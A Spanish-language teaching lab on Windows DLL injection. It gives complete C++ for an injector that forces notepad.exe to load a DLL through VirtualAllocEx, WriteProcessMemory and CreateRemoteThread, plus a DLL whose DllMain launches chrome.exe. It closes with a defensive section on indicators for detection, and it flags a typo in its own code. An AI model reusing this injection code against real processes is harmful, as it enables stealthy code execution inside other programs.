En esta práctica vamos a dar un paso más: la DLL realizará una acción observable adicional. Cuando Windows cargue la DLL dentro del proceso objetivo, esta creará un nuevo proceso mediante la API CreateProcessW().
En nuestro ejemplo, el proceso que se intenta iniciar es:
chrome.exe
El laboratorio permite estudiar conjuntamente:
- procesos de Windows;
- identificación mediante PID;
- handles;
- memoria entre procesos;
- DLL;
DllMain;- hilos;
CreateRemoteThread;LoadLibraryA;CreateProcessW;- gestión de recursos;
- mecanismos de monitorización y detección.
Nota: la práctica debe ejecutarse únicamente sobre equipos y procesos propios o en un entorno de laboratorio autorizado.
1. ¿Qué vamos a construir?
El laboratorio está formado por dos proyectos:
Laboratorio
│
├── Inyector
│ └── Inyector.exe
│
└── Dll1
└── Dll1.dll
El programa inyector busca notepad.exe y solicita que Windows cargue la DLL.
La DLL, una vez cargada, crea un nuevo proceso:
notepad.exe
│
│ carga Dll1.dll
▼
Dll1.dll
│
│ CreateProcessW()
▼
chrome.exe
Por tanto, la cadena completa es:
Inyector
│
▼
notepad.exe
│
▼
Dll1.dll
│
▼
CreateProcessW()
│
▼
chrome.exe
Esta diferencia respecto al laboratorio anterior es importante.
En el primer ejemplo:
DLL → MessageBox
mientras que en este:
DLL → CreateProcessW → Chrome
2. El programa inyector
El primer código es el encargado de localizar notepad.exe y realizar la operación de carga de la DLL.
El código completo utilizado en el laboratorio es:
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
// Función corregida para soportar proyectos en modo Unicode
DWORD ObtenerPIDNotepad() {
DWORD pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32;
if (Process32First(hSnapshot, &pe)) {
do {
// CORRECCIÓN: Usamos _wcsicmp y L"notepad.exe" para comparar texto Unicode
if (_wcsicmp(pe.szExeFile, L"notepad.exe") == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
return pid;
}
int main() {
// Tu ruta exacta
const char* rutaDLL = "C:\\Users\\juan\\source\\repos\\Dll1\\x64\\Debug\\Dll1.dll";
std::cout << "[*] Buscando 'notepad.exe' en el sistema..." << std::endl;
DWORD targetPID = ObtenerPIDNotepad();
if (targetPID == 0) {
std::cerr << "[-] ERROR: No se encontro Notepad abierto. Abre el Bloc de notas antes de ejecutar este programa." << std::endl;
system("pause");
return 1;
}
std::cout << "[+] Notepad encontrado. PID: " << targetPID << std::endl;
// 1. Abrir el proceso con los permisos necesarios
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) {
std::cerr << "[-] ERROR: No se pudo abrir el proceso. Codigo: " << GetLastError() << std::endl;
std::cerr << "Nota: Prueba a ejecutar este inyector como Administrador." << std::endl;
system("pause");
return 1;
}
// 2. Reservar memoria en Notepad para escribir la ruta de la DLL
SIZE_T tamanoRuta = strlen(rutaDLL) + 1;
LPVOID pRemoteMem = VirtualAllocEx(
hProcess,
NULL,
tamanoRuta,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!pRemoteMem) {
std::cerr << "[-] ERROR: No se pudo asignar memoria en el proceso remoto. Codigo: " << GetLastError() << std::endl;
CloseHandle(hProcess);
system("pause");
return 1;
}
// 3. Escribir la ruta de la DLL en la memoria reservada de Notepad
if (!WriteProcessMemory(
hProcess,
pRemoteMem,
(LPVOID)rutaDLL,
tamanoRuta,
NULL)) {
std::cerr << "[-] ERROR: No se pudo escribir en la memoria de Notepad. Codigo: " << GetLastError() << std::endl;
VirtualFreeEx(
hProcess,
pRemoteMem,
0,
MEM_RELEASE
);
CloseHandle(hProcess);
system("pause");
return 1;
}
// 4. Obtener la dirección de la función LoadLibraryA en el sistema
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) {
std::cerr << "[-] ERROR: No se pudo obtener el submodulo kernel32.dll" << std::endl;
VirtualFreeEx(
hProcess,
pRemoteMem,
0,
MEM_RELEASE
);
CloseHandle(hProcess);
system("pause");
return 1;
}
LPVOID pLoadLibrary =
(LPVOID)GetProcAddress(
hKernel32,
"LoadLibraryA"
);
// 5. Crear el hilo remoto para forzar a Notepad a cargar la DLL
HANDLE hThread =
CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteMem,
0,
NULL
);
if (!hThread) {
std::cerr << "[-] ERROR: No se pudo crear el hilo remoto. Codigo: " << GetLastError() << std::endl;
std::cerr << "Nota: Windows Defender podria estar bloqueando la accion." << std::endl;
VirtualFreeEx(
hProcess,
pRemoteMem,
0,
MEM_RELEASE
);
CloseHandle(hProcess);
system("pause");
return 1;
}
std::cout
<< "[+] DLL Inyectada con exito. El hilo remoto ha comenzado."
<< std::endl;
// Esperar a que el hilo termine y limpiar la memoria libre
WaitForSingleObject(
hThread,
INFINITE
);
VirtualFreeEx(
hProcess,
pRemoteMem,
0,
MEM_RELEASE
);
// Cerrar los manejadores
CloseHandle(hThread);
CloseHandle(hProcess);
std::cout
<< "[+] Proceso de inyeccion finalizado correctamente."
<< std::endl;
system("pause");
return 0;
}
Corrección importante: en el código que has pegado hay un pequeño error tipográfico en
pe.dwSize = sizeof(PROCESSENTRY32;. Debe serpe.dwSize = sizeof(PROCESSENTRY32);.
3. Localizando Notepad
La función:
DWORD ObtenerPIDNotepad()
utiliza:
CreateToolhelp32Snapshot()
para obtener una instantánea de los procesos.
Posteriormente utiliza:
Process32First()
y:
Process32Next()
para recorrerlos.
La comparación:
_wcsicmp(
pe.szExeFile,
L"notepad.exe"
)
permite localizar el proceso independientemente de diferencias entre mayúsculas y minúsculas.
Cuando encuentra el proceso, devuelve:
pe.th32ProcessID
es decir, el PID de Notepad.
4. Abrir el proceso
El siguiente paso utiliza:
OpenProcess()
y almacena el resultado en:
HANDLE hProcess
Ese HANDLE representa el acceso obtenido al proceso objetivo.
El programa comprueba inmediatamente si la operación ha fallado:
if (!hProcess)
y, en ese caso, utiliza:
GetLastError()
para obtener información sobre el error.
5. Reservar memoria
A continuación aparece:
VirtualAllocEx()
La función permite reservar memoria asociada al proceso objetivo.
La memoria se utilizará para almacenar:
C:\Users\juan\source\repos\Dll1\x64\Debug\Dll1.dll
La dirección obtenida se almacena en:
LPVOID pRemoteMem
6. Escribir la ruta de la DLL
Después aparece:
WriteProcessMemory()
Esta función escribe la ruta de la DLL en la memoria previamente reservada.
Conceptualmente:
INYECTOR
rutaDLL
│
│ WriteProcessMemory
▼
NOTEPAD
memoria reservada
│
└── C:\...\Dll1.dll
La ruta será utilizada posteriormente para solicitar la carga de la DLL.
7. Obtener LoadLibraryA
El siguiente paso consiste en obtener la dirección de:
LoadLibraryA
Para ello se utiliza:
GetModuleHandleA("kernel32.dll")
y:
GetProcAddress()
El resultado se almacena en:
LPVOID pLoadLibrary
8. Crear el hilo remoto
La operación central del inyector es:
CreateRemoteThread()
En nuestro laboratorio se utiliza para ejecutar la función obtenida anteriormente pasando como argumento la dirección de memoria que contiene la ruta de la DLL.
La consecuencia es que Windows carga:
Dll1.dll
dentro del proceso objetivo.
A partir de ese momento comienza la ejecución de la segunda parte del laboratorio.
9. La DLL modificada
La DLL utilizada en este ejemplo es diferente a la del laboratorio anterior.
Ya no muestra directamente un mensaje.
En su lugar, contiene una función llamada:
LanzarChrome()
El código completo es:
#include "pch.h"
#include <windows.h>
DWORD WINAPI LanzarChrome(LPVOID)
{
STARTUPINFOW si{};
PROCESS_INFORMATION pi{};
si.cb = sizeof(si);
BOOL resultado = CreateProcessW(
L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
nullptr,
nullptr,
nullptr,
FALSE,
0,
nullptr,
nullptr,
&si,
&pi
);
if (resultado)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
MessageBoxW(
nullptr,
L"No se pudo iniciar Chrome.",
L"Laboratorio de DLL",
MB_OK | MB_ICONERROR
);
}
return 0;
}
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD reason,
LPVOID reserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
HANDLE hThread = CreateThread(
nullptr,
0,
LanzarChrome,
nullptr,
0,
nullptr
);
if (hThread)
{
CloseHandle(hThread);
}
}
return TRUE;
}
10. LanzarChrome()
La función:
DWORD WINAPI LanzarChrome(LPVOID)
es la encargada de iniciar el nuevo proceso.
Primero crea dos estructuras:
STARTUPINFOW si{};
PROCESS_INFORMATION pi{};
Estas estructuras forman parte de la API de creación de procesos de Windows.
Posteriormente:
si.cb = sizeof(si);
inicializa el tamaño de STARTUPINFO.
11. CreateProcessW()
La función principal de la DLL es:
CreateProcessW()
En el laboratorio se proporciona la ruta:
L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
Por tanto, la DLL solicita a Windows que cree una nueva instancia de Chrome.
La W de:
CreateProcessW
indica que estamos utilizando la variante Unicode de la función.
La cadena también utiliza:
L"..."
para representar una cadena de caracteres anchos.
12. ¿Qué devuelve CreateProcessW()?
La función devuelve un valor de tipo:
BOOL
En el código:
if (resultado)
se comprueba si la creación del proceso ha tenido éxito.
Si ha funcionado correctamente, Windows proporciona información sobre el proceso creado en:
PROCESS_INFORMATION pi
Entre otros datos, esta estructura contiene handles asociados al proceso y a su hilo inicial.
13. Liberación de los handles
Después de crear Chrome, el código ejecuta:
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
Esto es importante.
Crear un proceso no significa que el programa tenga que mantener abiertos indefinidamente esos handles.
Una vez que ya no son necesarios, se cierran.
14. ¿Qué ocurre si Chrome no puede iniciarse?
El código también contempla el error:
else
En ese caso aparece:
MessageBoxW(
nullptr,
L"No se pudo iniciar Chrome.",
L"Laboratorio de DLL",
MB_OK | MB_ICONERROR
);
Esto permite visualizar rápidamente que la llamada a CreateProcessW() no ha tenido éxito.
Entre las posibles causas podrían encontrarse una ruta incorrecta, que el ejecutable no exista en esa ubicación o problemas relacionados con permisos o configuración del sistema.
15. DllMain() vuelve a ser el punto de entrada
La DLL dispone de:
BOOL APIENTRY DllMain(...)
y comprueba:
if (reason == DLL_PROCESS_ATTACH)
Cuando Windows carga la DLL, se produce este evento.
El código ejecuta:
DisableThreadLibraryCalls(hModule);
Esta función evita determinadas notificaciones de creación y terminación de hilos que la DLL no necesita para este laboratorio.
Después crea un hilo:
HANDLE hThread = CreateThread(
nullptr,
0,
LanzarChrome,
nullptr,
0,
nullptr
);
El hilo termina ejecutando:
LanzarChrome()
y esta función llama a:
CreateProcessW()
16. La cadena completa
Ahora podemos representar todo el laboratorio de principio a fin:
INYECTOR.EXE
│
│
Busca notepad.exe
│
▼
Obtiene PID
│
▼
OpenProcess
│
▼
VirtualAllocEx
│
▼
WriteProcessMemory
│
▼
LoadLibraryA
│
▼
NOTEPAD.EXE
│
│ carga
▼
DLL1.DLL
│
▼
DLL_PROCESS_ATTACH
│
▼
CreateThread
│
▼
LanzarChrome()
│
▼
CreateProcessW
│
▼
CHROME.EXE
Este esquema es probablemente la parte más importante de la práctica.
Tenemos tres procesos implicados conceptualmente:
Inyector.exe
│
└────► Notepad.exe
│
└────► Chrome.exe
La DLL actúa como código cargado en el proceso objetivo y solicita posteriormente la creación de otro proceso.
17. Diferencia respecto al laboratorio anterior
En la primera práctica teníamos:
Inyector
↓
Notepad
↓
DLL
↓
MessageBox
Ahora tenemos:
Inyector
↓
Notepad
↓
DLL
↓
CreateProcessW
↓
Chrome
La diferencia es importante porque permite introducir el concepto de creación de procesos desde código que se encuentra dentro de otro proceso.
18. Una observación importante sobre DllMain
Este laboratorio también sirve para explicar una cuestión importante de programación de Windows.
Aunque el ejemplo utiliza:
CreateThread()
desde:
DllMain()
en aplicaciones reales se debe tener especial cuidado con el trabajo realizado durante DLL_PROCESS_ATTACH.
DllMain se ejecuta bajo condiciones particulares relacionadas con el cargador de Windows y determinadas operaciones pueden provocar problemas de sincronización o bloqueos.
Por eso, en software de producción, conviene diseñar cuidadosamente la inicialización de una DLL y evitar cargar una cantidad excesiva de lógica directamente desde DllMain.
En este laboratorio se mantiene el ejemplo deliberadamente sencillo para poder observar la cadena de ejecución.
19. Aspectos que podemos observar desde el punto de vista defensivo
Este laboratorio es especialmente interesante para una clase de ciberseguridad porque permite estudiar una cadena de eventos.
Por ejemplo:
Proceso A
│
├── Accede al proceso B
│
├── Reserva memoria
│
├── Escribe memoria
│
├── Crea un hilo
│
└── Provoca la carga de una DLL
│
▼
Proceso B
│
└── Crea proceso C
En nuestro ejemplo:
Inyector.exe
↓
Notepad.exe
↓
Chrome.exe
Una herramienta de monitorización puede utilizar esta información para construir relaciones entre procesos y detectar cadenas de comportamiento que merezcan investigación.
20. Indicadores interesantes para analizar
Durante una práctica defensiva podemos estudiar:
| Elemento | Qué podemos investigar |
|---|---|
OpenProcess | Qué proceso intenta acceder a otro |
VirtualAllocEx | Reservas de memoria entre procesos |
WriteProcessMemory | Escrituras en memoria de otro proceso |
CreateRemoteThread | Creación de hilos asociados a otro proceso |
LoadLibraryA | Carga de DLL |
CreateProcessW | Creación de nuevos procesos |
ProcessId | Relación entre procesos |
Parent Process | Proceso que origina una nueva ejecución |
| DLL cargadas | Qué módulos utiliza cada proceso |
Esto permite pasar de una simple demostración de código a una práctica de análisis de comportamiento.
21. Una posible representación gráfica
La relación entre los procesos puede visualizarse de forma muy sencilla:
┌──────────────────┐
│ Inyector.exe │
└────────┬─────────┘
│
│ manipula
▼
┌──────────────────┐
│ Notepad.exe │
│ │
│ ┌──────────┐ │
│ │ Dll1.dll │ │
│ └────┬─────┘ │
└────────┼─────────┘
│
│ CreateProcessW
▼
┌──────────────────┐
│ Chrome.exe │
└──────────────────┘
Esta representación permite explicar a los alumnos una diferencia fundamental:
la DLL no es un proceso independiente.
La DLL se carga dentro de un proceso existente.
Posteriormente, el código de esa DLL puede utilizar APIs de Windows que provoquen otras acciones, como la creación de un nuevo proceso.